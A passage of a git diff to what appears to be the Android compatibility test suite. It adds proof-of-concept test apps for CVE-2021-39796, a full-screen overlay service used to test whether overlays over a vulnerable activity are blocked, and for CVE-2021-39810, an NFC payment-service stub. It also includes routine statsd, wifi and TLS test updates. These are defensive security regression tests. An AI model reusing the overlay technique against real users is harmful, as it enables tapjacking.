+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assumeNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+ }
+ }
+
+ public void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent();
+ intent.setClassName(context.getString(R.string.vulnerablePkg),
+ context.getString(R.string.vulnerableActivity));
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+
+ PackageManager pm = getApplicationContext().getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ String vulnerableActivityName = context.getString(R.string.vulnerablePkg) + "/"
+ + context.getString(R.string.vulnerableActivity);
+
+ assumeTrue(context.getString(R.string.activityNotFoundMsg) + vulnerableActivityName,
+ ris.size() != 0);
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Context context = getApplicationContext();
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = mDevice
+ .wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), LAUNCH_TIMEOUT_MS);
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(context.getString(R.string.dumpsysActivity)
+ + " " + context.getString(R.string.harmfulActivity));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+ activityPattern.matcher(activityDump).find());
+
+ assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
new file mode 100644
index 0000000..a7a9c5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+public class PocService extends Service {
+ public static Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private static int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private static int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ assumeTrue("The application cannot draw overlays",
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText("OverlayButton");
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
similarity index 69%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
index bcbf54f..9a11e88 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -12,15 +12,22 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39810",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
new file mode 100644
index 0000000..3bdc38d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39810"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.NFC"/>
+ <application
+ android:label="CVE-2021-39810"
+ android:supportsRtl="true">
+ <service
+ android:name=".PocService"
+ android:exported="true"
+ android:permission="android.permission.BIND_NFC_SERVICE">
+ <intent-filter>
+ <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+ </intent-filter>
+ <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+ android:resource="@xml/aid_list"/>
+ </service>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
new file mode 100644
index 0000000..8983381
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:requireDeviceUnlock="false">
+ <aid-group android:category="payment">
+ <aid-filter android:name="325041592E5359532E4444463031" />
+ </aid-group>
+</host-apdu-service>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
new file mode 100644
index 0000000..e8e2085
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39810;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+}
diff --git a/hostsidetests/statsdatom/Android.bp b/hostsidetests/statsdatom/Android.bp
index 6f2da5f..8076b50 100644
--- a/hostsidetests/statsdatom/Android.bp
+++ b/hostsidetests/statsdatom/Android.bp
@@ -45,6 +45,7 @@
"src/**/sizecompatrestartbutton/*.java",
"src/**/statsd/*.java",
"src/**/telephony/*.java",
+ "src/**/tls/*.java",
"src/**/wifi/*.java",
"src/**/incremental/*.java",
],
@@ -72,7 +73,11 @@
data: [
":CtsStatsdAtomApp",
":CtsStatsdApp", //TODO(b/163546661): Remove once migration to new lib is complete.
- ]
+ ":CtsAppExitTestCases",
+ ":CtsExternalServiceService",
+ ":CtsSimpleApp",
+ ],
+ per_testcase_directory: true,
}
java_library_host {
diff --git a/hostsidetests/statsdatom/apps/statsdapp/Android.bp b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
index 2cd2fa0..b225281 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsdatom/apps/statsdapp/Android.bp
@@ -59,6 +59,7 @@
],
privileged: true,
static_libs: [
+ "core-tests-support",
"ctstestrunner-axt",
"compatibility-device-util-axt",
"androidx.legacy_legacy-support-v4",
diff --git a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
index 923817f..2b1e5c4 100644
--- a/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
+++ b/hostsidetests/statsdatom/apps/statsdapp/src/com/android/server/cts/device/statsdatom/AtomTests.java
@@ -80,7 +80,6 @@
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.ShellIdentityUtils;
-
import org.junit.Assert;
import org.junit.Test;
@@ -97,6 +96,11 @@
import java.util.concurrent.TimeUnit;
import java.util.function.BiConsumer;
+import javax.net.ssl.SSLSocket;
+
+import libcore.javax.net.ssl.TestSSLContext;
+import libcore.javax.net.ssl.TestSSLSocketPair;
+
public class AtomTests {
private static final String TAG = AtomTests.class.getSimpleName();
@@ -226,6 +230,20 @@
}
@Test
+ public void testTlsHandshake() throws Exception {
+ TestSSLContext context = TestSSLContext.create();
+ SSLSocket[] sockets = TestSSLSocketPair.connect(context, null, null);
+
+ if (sockets.length < 2) {
+ return;
+ }
+ sockets[0].getOutputStream().write(42);
+ Assert.assertEquals(42, sockets[1].getInputStream().read());
+ sockets[0].close();
+ sockets[1].close();
+ }
+
+ @Test
// Start the isolated service, which logs an AppBreadcrumbReported atom, and then exit.
public void testIsolatedProcessService() throws Exception {
Context context = InstrumentationRegistry.getContext();
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
index e192e72..9648d8c 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java
@@ -183,8 +183,9 @@
private void testAppCompatFlow(String activity, @Nullable String secondActivity,
boolean switchToOpened, List<AppCompatStateChanged.State>... expectedStatesOptions)
throws Exception {
- if (!isOpenedDeviceStateAvailable()) {
- CLog.i("Device doesn't support OPENED device state.");
+ if (!isDeviceStateAvailable(DEVICE_STATE_OPENED)
+ || !isDeviceStateAvailable(DEVICE_STATE_CLOSED)) {
+ CLog.i("Device doesn't support OPENED or CLOSED device states.");
return;
}
@@ -238,10 +239,10 @@
return result;
}
- private boolean isOpenedDeviceStateAvailable() throws Exception {
+ private boolean isDeviceStateAvailable(int state) throws Exception {
return Arrays.stream(
getDevice().executeShellCommand(CMD_GET_AVAILABLE_DEVICE_STATES).split(","))
.map(Integer::valueOf)
- .anyMatch(state -> state == DEVICE_STATE_OPENED);
+ .anyMatch(availableState -> availableState == state);
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
index 1236598..3c4ed4f 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/integrity/OWNERS
@@ -1,2 +1,3 @@
-# Owners of the IntegrityCheckResultReported atom
-songpan@google.com
+# Bug component: 953234
+include platform/frameworks/base:/services/core/java/com/android/server/integrity/OWNERS
+
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
index 5671afb..23ffc03 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ConfigUtils.java
@@ -69,7 +69,8 @@
.addAllowedLogSource("AID_SYSTEM")
.addAllowedLogSource("AID_BLUETOOTH")
// TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
- .addAllowedLogSource("com.android.bluetooth")
+ .addAllowedLogSource("com.android.bluetooth.services")
+ .addAllowedLogSource("com.google.android.bluetooth.services")
.addAllowedLogSource("AID_LMKD")
.addAllowedLogSource("AID_MEDIA")
.addAllowedLogSource("AID_RADIO")
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
index b797e68..68a7135 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/sizecompatrestartbutton/SizeCompatRestartButtonStatsTests.java
@@ -28,9 +28,11 @@
import com.android.os.AtomsProto.SizeCompatRestartButtonEventReported.Event;
import com.android.os.StatsLog;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.Pair;
import java.util.Arrays;
import java.util.List;
@@ -98,11 +100,17 @@
}
public void testSizeCompatRestartButtonAppearedButNotClicked() throws Exception {
- if (!isOpenedDeviceStateAvailable()) {
- CLog.i("Device doesn't support OPENED device state.");
+ if (!isDeviceStateAvailable(DEVICE_STATE_OPENED)
+ || !isDeviceStateAvailable(DEVICE_STATE_CLOSED)) {
+ CLog.i("Device doesn't support OPENED or CLOSED device states.");
return;
}
+ Pair<Integer, Integer> displaySizeClosed = getDisplayRealSize(getDevice());
+ if (displaySizeClosed == null) {
+ CLog.i("Could not determine display size while CLOSED.");
+ return;
+ }
try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
DeviceUtils.STATSD_ATOM_TEST_PKG, NON_RESIZEABLE_PORTRAIT_ACTIVITY, "action",
"action.sleep_top")) {
@@ -111,6 +119,15 @@
Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
}
+ Pair<Integer, Integer> displaySizeOpened = getDisplayRealSize(getDevice());
+ if (displaySizeOpened == null) {
+ CLog.i("Could not determine display size while OPENED.");
+ return;
+ }
+ if (displaySizeClosed.equals(displaySizeOpened)) {
+ CLog.i("Display size has not changed.");
+ return;
+ }
List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
assertThat(data.size()).isEqualTo(1);
@@ -120,11 +137,31 @@
assertThat(atom.getEvent()).isEqualTo(Event.APPEARED);
}
- private boolean isOpenedDeviceStateAvailable() throws Exception {
+ private boolean isDeviceStateAvailable(int state) throws Exception {
return Arrays.stream(
getDevice().executeShellCommand(CMD_GET_AVAILABLE_DEVICE_STATES).split(","))
.map(Integer::valueOf)
- .anyMatch(state -> state == DEVICE_STATE_OPENED);
+ .anyMatch(availableState -> availableState == state);
+ }
+
+ /**
+ * Returns the physical size of the current display used.
+ */
+ private Pair<Integer, Integer> getDisplayRealSize(ITestDevice device) throws Exception {
+ final String physicalSize = "Physical size: ";
+ String str = device.executeShellCommand("wm size");
+ if (!str.isEmpty()) {
+ String[] lines = str.split(System.getProperty("line.separator"));
+ for (String s : lines) {
+ if (s.contains(physicalSize)) {
+ String substring = s.substring(physicalSize.length());
+ if (!substring.isEmpty()) {
+ return Pair.create(Integer.parseInt(substring.split("x")[0]),
+ Integer.parseInt(substring.split("x")[1]));
+ }
+ }
+ }
+ }
+ return null;
}
}
-
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java
new file mode 100644
index 0000000..eee4dac
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/tls/TlsHandshakeStatsTests.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.tls;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class TlsHandshakeStatsTests extends DeviceTestCase implements IBuildReceiver {
+
+ private IBuildInfo mCtsBuild;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ assertThat(mCtsBuild).isNotNull();
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+ Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ ConfigUtils.removeConfig(getDevice());
+ ReportUtils.clearReports(getDevice());
+ DeviceUtils.uninstallStatsdTestApp(getDevice());
+ super.tearDown();
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mCtsBuild = buildInfo;
+ }
+
+ public void testTlsHandshake()
+ throws Exception {
+ final int atomTag = AtomsProto.Atom.TLS_HANDSHAKE_REPORTED_FIELD_NUMBER;
+ ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+ atomTag);
+
+ DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testTlsHandshake");
+
+ // Sorted list of events in order in which they occurred.
+ List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+ assertThat(data.size()).isAtLeast(2);
+ AtomsProto.TlsHandshakeReported atom = data.get(0).getAtom().getTlsHandshakeReported();
+ AtomsProto.TlsHandshakeReported atom2 = data.get(1).getAtom().getTlsHandshakeReported();
+ assertThat(atom.getProtocol().toString()).contains("TLS_V1_2");
+ assertThat(atom2.getProtocol().toString()).contains("TLS_V1_2");
+ }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
index 6041c68..7710944 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
@@ -1,4 +1,3 @@
-# Owners of the WifiLockStateChanged atom
-patrikf@google.com
-saagarp@google.com
-stroshin@google.com
+narcisaam@google.com
+dorindrimus@google.com
+vtrifonov@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
index c4bec178..4be79f6 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
@@ -42,6 +42,8 @@
import java.util.HashSet;
import java.util.List;
import java.util.Set;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
public class WifiStatsTests extends DeviceTestCase implements IBuildReceiver {
private IBuildInfo mCtsBuild;
@@ -215,25 +217,29 @@
DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
- List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
- assertThat(data).hasSize(2);
+ List<StatsLog.EventMetricData> metricData = ReportUtils.getEventMetricDataList(getDevice());
+ List<AtomsProto.WifiScanReported> wifiScanAtoms = metricData.stream()
+ .map(eventLog -> eventLog.getAtom().getWifiScanReported())
+ // Disregard interfering scans from other sources.
+ // If this test is run on a device that has a Settings app open that
+ // continuously performs frequent scans, quite often our scans requests
+ // are bundled together and get attributed to the Settings app.
+ .filter(scan -> List.of(
+ AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP,
+ AtomsProto.WifiScanReported.Source.SOURCE_SETTINGS_APP)
+ .contains(scan.getSource()))
+ .filter(Predicate.not(scan -> scan.getImportance().equals(
+ AtomsProto.WifiScanReported.Importance.IMPORTANCE_UNKNOWN)))
+ .collect(Collectors.toList());
+ assertThat(wifiScanAtoms).isNotEmpty();
- AtomsProto.WifiScanReported a0 = data.get(0).getAtom().getWifiScanReported();
- AtomsProto.WifiScanReported a1 = data.get(1).getAtom().getWifiScanReported();
-
- for (AtomsProto.WifiScanReported a : new AtomsProto.WifiScanReported[]{a0, a1}) {
- assertThat(a.getResult()).isEqualTo(AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
- assertThat(a.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
- assertThat(a.getSource()).isAnyOf(
- // If this test is run on a device that has a Settings app open that
- // continuously performs frequent scans, quite often our scans requests
- // are bundled together and get attributed to the Settings app.
- AtomsProto.WifiScanReported.Source.SOURCE_SETTINGS_APP,
- AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP);
- assertThat(a.getImportance()).isEqualTo(
+ for (AtomsProto.WifiScanReported scan : wifiScanAtoms) {
+ assertThat(scan.getResult()).isEqualTo(
+ AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
+ assertThat(scan.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
+ assertThat(scan.getImportance()).isEqualTo(
AtomsProto.WifiScanReported.Importance.IMPORTANCE_FOREGROUND_SERVICE);
-
- assertThat(a.getScanDurationMillis()).isGreaterThan(0);
+ assertThat(scan.getScanDurationMillis()).isGreaterThan(0);
}
}
@@ -242,7 +248,7 @@
ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
- AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER, true);
+ AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER, true);
DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
diff --git a/hostsidetests/tagging/AndroidTest.xml b/hostsidetests/tagging/AndroidTest.xml
index e4910a9..e784407 100644
--- a/hostsidetests/tagging/AndroidTest.xml
+++ b/hostsidetests/tagging/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.SkipHWASanModuleController" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsTaggingHostTestCases.jar" />
</test>
diff --git a/hostsidetests/theme/android_device.py b/hostsidetests/theme/android_device.py
index 7711060..295163e 100644
--- a/hostsidetests/theme/android_device.py
+++ b/hostsidetests/theme/android_device.py
@@ -127,7 +127,7 @@
device_list = []
for device in devices:
- if device is not "" and device.startswith(require_prefix):
+ if device != "" and device.startswith(require_prefix):
info = device.split('\t')
if info[1] == "device":
device_list.append(info[0])
diff --git a/hostsidetests/theme/app/AndroidManifest.xml b/hostsidetests/theme/app/AndroidManifest.xml
index 49f2d84..ad653b7 100755
--- a/hostsidetests/theme/app/AndroidManifest.xml
+++ b/hostsidetests/theme/app/AndroidManifest.xml
@@ -21,6 +21,8 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+ <uses-sdk android:targetSdkVersion="29" />
+
<application android:requestLegacyExternalStorage="true">
<uses-library android:name="android.test.runner"/>
<activity android:name=".ThemeDeviceActivity"
diff --git a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
index 6be679b..43f9cd4 100644
--- a/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/GenerateImagesActivity.java
@@ -69,6 +69,11 @@
String assetDensityFailureMsg = checkAssetDensity();
if (assetDensityFailureMsg != null) {
finish("Failed to verify device assets: "+ assetDensityFailureMsg, false);
+ }
+
+ mOutputDir = setupOutputDirectory();
+ if (mOutputDir == null) {
+ finish("Failed to create output directory " + OUT_DIR, false);
} else {
mOutputDir = setupOutputDirectory();
if (mOutputDir == null) {
diff --git a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
index 9bed031..27fa66d 100644
--- a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
+++ b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
@@ -168,7 +168,7 @@
};
